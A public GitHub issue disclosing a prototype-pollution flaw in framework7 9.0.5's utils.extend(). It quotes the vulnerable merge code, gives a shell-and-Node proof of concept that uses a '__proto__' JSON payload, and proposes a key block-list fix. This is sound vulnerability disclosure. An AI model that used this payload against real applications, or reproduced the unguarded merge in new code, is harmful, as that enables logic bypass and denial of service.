Skip to content

Prototype pollution in public utils.extend() deep merge #4393

@Dremig

Description

@Dremig

Summary

framework7@9.0.5 appears to be vulnerable to prototype pollution through the public utils.extend() helper exported from the package root.

When utils.extend() performs a deep merge and receives an object containing an own __proto__ property, it recursively descends into Object.prototype and writes attacker-controlled properties there. Newly created plain objects in the same JavaScript process then inherit the polluted properties.

This is reachable through the public package entry:

import { utils } from "framework7";

I tested this against the current npm version:

framework7@9.0.5

Details

The affected utility is exported from the package root as utils.extend().

The vulnerable implementation is in the distributed file:

shared/utils.js

Relevant code:

export function extend(...args) {
  let deep = true;
  let to;
  let from;
  if (typeof args[0] === 'boolean') {
    deep = args[0];
    to = args[1];
    args.splice(0, 2);
    from = args;
  } else {
    to = args[0];
    args.splice(0, 1);
    from = args;
  }
  for (let i = 0; i < from.length; i += 1) {
    const nextSource = args[i];
    if (nextSource !== undefined && nextSource !== null) {
      const keysArray = Object.keys(Object(nextSource));
      for (let nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex += 1) {
        const nextKey = keysArray[nextIndex];
        const desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
        if (desc !== undefined && desc.enumerable) {
          if (!deep) {
            to[nextKey] = nextSource[nextKey];
          } else if (isObject(to[nextKey]) && isObject(nextSource[nextKey])) {
            extend(to[nextKey], nextSource[nextKey]);
          } else if (!isObject(to[nextKey]) && isObject(nextSource[nextKey])) {
            to[nextKey] = {};
            extend(to[nextKey], nextSource[nextKey]);
          } else {
            to[nextKey] = nextSource[nextKey];
          }
        }
      }
    }
  }
  return to;
}

There does not appear to be a guard for prototype-pollution keys such as:

__proto__
constructor
prototype

When nextKey === "__proto__" and the merge target is a normal object, to[nextKey] resolves to Object.prototype. Since both to[nextKey] and nextSource[nextKey] are objects, the function recursively calls:

extend(Object.prototype, attackerControlledObject)

This writes attacker-controlled fields onto Object.prototype.

Reproduction

Create a clean test project:

set -eu

rm -rf /tmp/framework7-extend-pp-poc
mkdir /tmp/framework7-extend-pp-poc
cd /tmp/framework7-extend-pp-poc

npm init -y >/dev/null
npm install --ignore-scripts --no-audit --no-fund framework7@9.0.5 >/dev/null

cat > poc.mjs <<'JS'
import { utils } from "framework7";

delete Object.prototype.framework7Polluted;

utils.extend(
  {},
  JSON.parse('{"__proto__":{"framework7Polluted":"yes"}}'),
);

console.log("Object.prototype.framework7Polluted:", Object.prototype.framework7Polluted);
console.log("plain object inherited:", ({}).framework7Polluted);

delete Object.prototype.framework7Polluted;
JS

node poc.mjs

Observed output:

Object.prototype.framework7Polluted: yes
plain object inherited: yes

Expected output:

Object.prototype.framework7Polluted: undefined
plain object inherited: undefined

The issue can also be reproduced through the explicitly exported shared utility path:

import { extend } from "framework7/shared/utils.js";

However, the package-root export is enough to reproduce the issue.

Impact

The direct impact is prototype pollution in any JavaScript runtime that calls utils.extend() with attacker-controlled or partially attacker-controlled objects.

This may affect downstream Framework7 applications or integrations that use utils.extend() to merge JSON-like input such as:

  • user-controlled configuration,
  • route or page metadata,
  • component options,
  • plugin options,
  • persisted app state,
  • API responses later merged into local state.

Prototype pollution can cause application-specific security effects such as logic bypass, unexpected option changes, denial of service, or client-side issues if polluted properties later reach sensitive sinks.

I am not claiming standalone RCE from this primitive alone. The practical severity depends on whether an application passes untrusted objects into utils.extend() and how polluted properties are later consumed.

Suggested Fix

Reject prototype-pollution keys before reading from or assigning to to[nextKey].

For example:

const unsafeKeys = new Set(["__proto__", "constructor", "prototype"]);

if (unsafeKeys.has(nextKey)) {
  continue;
}

This guard should happen before code reads or writes:

to[nextKey]
nextSource[nextKey]

It would also be safer to avoid recursively merging into inherited objects and only reuse nested targets when they are own properties of the target object.

Security Disclosure Process Suggestion

I could not find a SECURITY.md policy for this repository. GitHub currently shows no security policy detected for framework7io/framework7.

Since this issue is security-sensitive, I recommend adding a SECURITY.md file and enabling GitHub Private Vulnerability Reporting so future reports can be submitted privately instead of through public issues.

GitHub docs:

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions